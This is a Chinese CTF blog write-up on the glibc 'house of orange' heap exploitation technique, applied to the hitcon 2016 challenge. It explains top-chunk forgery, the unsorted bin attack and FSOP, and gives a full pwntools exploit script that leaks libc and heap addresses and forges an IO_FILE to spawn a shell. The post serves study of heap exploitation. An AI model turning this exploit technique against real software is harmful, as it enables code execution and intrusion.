house of orange(无free的一种利用方法)

发布时间 2023-10-26 17:21:52作者: s4ndw1ch

house of orange(没有free情况下获得一个unsortedbin)

之前就已经了解了house of orange但是没有写博客记录,这几天正好把buu上前几页当时没写的写了一下,其中就有著名的house of orange

实现效果:

house of orange可以实现程序无free的情况下,放入一个unsortedbin
条件:
能控制topchunk->size,能分配的chunk的大小也要大于伪造后的topchunk->size

单一效果薄弱但是如果配合unsortedbin&FSOP等攻击方法就能实现很不错的效果,如此巧妙的利用链早在2016年就被hitcon战队的orange师傅发现实在是太强了,并且据我了解在2017年orange大佬又在 2017年的 hitcon 出了一个 0day 的 php phar:// 反序列化给整个安全界开启了新世界的大门(Orz)

例题:houseoforange_hitcon_2016

保护开满,且根据功能来看是没有free的,进IDA看一下

漏洞在upgrade处,会重新根据输入的size来写入内容,造成堆溢出,程序没有给free,我们的house of orange就派上用场了

我们可以利用堆溢出伪造topchunk的size但是这个size也要满足一定条件

1.size必须要对齐到内存页,分配的内存大小加上top chunk size,需要是0x1000的倍数。

2.pre_inuse位为1

3.size不能小于最小chunk的大小

我们先申请一个0x10,程序会创建三个0x20的chunk,第一个是管理块,第二个是我们控制的内容块,

我们利用堆溢出修改topchunk->size = 0x1000-0x60+1 = 0xfa1,此时再申请个大于0xfa1的chunk就把fake_topchunk free掉了

add(0x10, b'aaaa')
edit(0x100, b'a'*0x18+p64(0x21)+p64(0)*3+p64(0xfa1))
add(0x1000, b'aaaa')

这时候我们再申请一个chunk会带出残留指针和堆地址,当然这个chunk需要是一个largechunk才能带出堆地址

add(0x400, b'a' * 8)
show()
io.recvuntil(b'Name of house : ')

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -   88 - 0x10 - libc.sym['__malloc_hook'] -0x610
success('libc_base   ========================>'+hex(libc_base))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']

edit(0x20,b'a'*0x10)

show()
io.recvuntil(b'aaaaaaaaaaaaaaaa')
heap_base = u64(io.recv(6).ljust(8,b'\x00'))
success('heap_base   ========================>'+hex(heap_base)) 

接下来要利用unsortedbin attack&FSOP

unsortedbin attack

在malloc.c中的_int_malloc有一段关于Unsorted bin chunk摘除的代码:

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
  malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

看后两行就好了,unsorted_chunk的bk指针指向的是它后一个被释放的chunk的块地址(bck),
后一个被释放的chunk的fd指针指向的是unsorted_chunk的块地址。如果我们能够控制
unsorted_chunk的bk,那么就意味着可以将unsorted_chunks (av),
即unsorted_chunk的块地址写到任意可写地址内。

假设我们想修改的地址为A,那么我们控制BK = A - 0x10即可

像这样我们可以将main_arena+88写进_IO_list_all这么做是为了进行FSOP

FSOP

进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

IO_FILE结构体:
0x0   _flags

0x8   _IO_read_ptr

0x10  _IO_read_end

0x18  _IO_read_base

0x20  _IO_write_base

0x28  _IO_write_ptr

0x30  _IO_write_end

0x38  _IO_buf_base

0x40  _IO_buf_end

0x48  _IO_save_base

0x50  _IO_backup_base

0x58  _IO_save_end

0x60  _markers

0x68  _chain

0x70  _fileno

0x74  _flags2

0x78  _old_offset

0x80  _cur_column

0x82  _vtable_offset

0x83  _shortbuf

0x88  _lock

0x90  _offset

0x98  _codecvt

0xa0  _wide_data

0xa8  _freeres_list

0xb0  _freeres_buf

0xb8  __pad5

0xc0  _mode

0xc4  _unused2

0xd8  vtable

vtable:
const struct _IO_jump_t _IO_wstrn_jumps attribute_hidden =

{

  JUMP_INIT_DUMMY,

  JUMP_INIT(finish, _IO_wstr_finish),

  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow),

  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),

  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),

  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),

  JUMP_INIT(xsputn, _IO_wdefault_xsputn),

  JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),

  JUMP_INIT(seekoff, _IO_wstr_seekoff),

  JUMP_INIT(seekpos, _IO_default_seekpos),

  JUMP_INIT(setbuf, _IO_default_setbuf),

  JUMP_INIT(sync, _IO_default_sync),

  JUMP_INIT(doallocate, _IO_wdefault_doallocate),

  JUMP_INIT(read, _IO_default_read),

  JUMP_INIT(write, _IO_default_write),

  JUMP_INIT(seek, _IO_default_seek),

  JUMP_INIT(close, _IO_default_close),

  JUMP_INIT(stat, _IO_default_stat),

  JUMP_INIT(showmanyc, _IO_default_showmanyc),

  JUMP_INIT(imbue, _IO_default_imbue)

};

IO_FILE利用时,在libc版本低于2.27的时候,可以利用调用链malloc_printerr->_libc_message->abort->_IO_flush_all_lockup->_IO_overflow,根据条件伪造IO_FILE结构,vtable表,触发system(/bin/sh)或者one_gadget

在glibc2.23libio 的genops.c的779行可以看到我们需要满足的条件 ,我们可以选择让mode <= 0,IO_write_ptr=1,IO_write_base=0就行 且参数是fp也就是flag字段,我们可以在这写'/bin/sh'劫持io_overflow为system

那么为什么让main_arena+88写进_IO_list_all,因为chain的偏移为0x68 main_arena+88+0x68是smallbin[0x60]的位置,我们可以放进一个伪造的smallbin,在其中布置好iofile结构

看一下IO_list_all

已经是链到smallbin了,这里我们提前布置好iofile结构

payload=p64(0)+p64(0)*2+p64(system)+b'a'*(0x400-0x20)
payload+=p64(0)+p64(0x21)
payload+=p64(0)+p64(0)

payload+=b'/bin/sh\x00'+p64(0x61)   #伪造unsortedbin的size,让其落入0x60的smallbin
payload+=p64(0)+p64(IO_list_all-0x10) #fd & bk
payload+=p64(0)+p64(1)   #_IO_write_base & _IO_write_ptr

payload+=p64(0)*21
payload+=p64(heap_base+0x10)  #vtable 

edit(0x1000,payload)

io.sendlineafter('Your choice : ',str(1))

到此整个利用过程就结束了

但是成功率并不是%100,因为上面要满足的条件中还有一个mode字段要<=0

这个字段是4字节,那么如果p _IO_list_all的低四字节小于0x7fffffff,mode为正 否则为负,我们需要让mode为负才行,所以成功率并不是%100

exp:

#coding:utf8  
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')
 
io=remote('node4.buuoj.cn',29268)
#io = process('./houseoforange_hitcon_2016')
elf = ELF('./houseoforange_hitcon_2016')
#libc = elf.libc
libc = ELF('./libc-2.23-64.so')


def add(length, name):
    io.sendlineafter("Your choice : ", "1")
    io.sendlineafter("Length of name :", str(length))
    io.sendafter("Name :", name)
    io.sendlineafter("Price of Orange:", str(1))
    io.sendlineafter("Color of Orange:", str(2))


    
def show():
    io.sendlineafter("Your choice : ", "2")



def edit(length, name):
    io.sendlineafter("Your choice : ", "3")
    io.sendlineafter("Length of name :", str(length))
    io.sendafter("Name:", name)
    io.sendlineafter("Price of Orange: ", str(1))
    io.sendlineafter("Color of Orange: ", str(2))



add(0x10, b'aaaa')
edit(0x100, b'b'*0x18+p64(0x21)+p64(0)*3+p64(0xfa1))
add(0x1000, b'cccc')

add(0x400, b'a' * 8)

show()
io.recvuntil(b'Name of house : ')

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -   88 - 0x10 - libc.sym['__malloc_hook'] -0x610
success('libc_base   ========================>'+hex(libc_base))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']

edit(0x20,b'a'*0x10)

show()
io.recvuntil(b'aaaaaaaaaaaaaaaa')
heap_base = u64(io.recv(6).ljust(8,b'\x00'))
success('heap_base   ========================>'+hex(heap_base)) 


payload=p64(0)+p64(0)*2+p64(system)+b'a'*(0x400-0x20)
payload+=p64(0)+p64(0x21)
payload+=p64(0)+p64(0)

payload+=b'/bin/sh\x00'+p64(0x61) 
payload+=p64(0)+p64(IO_list_all-0x10) #fd & bk
payload+=p64(0)+p64(1)   #_IO_write_base & _IO_write_ptr

payload+=p64(0)*21
payload+=p64(heap_base+0x10)


edit(0x1000,payload)

io.sendlineafter('Your choice : ',str(1))

io.interactive()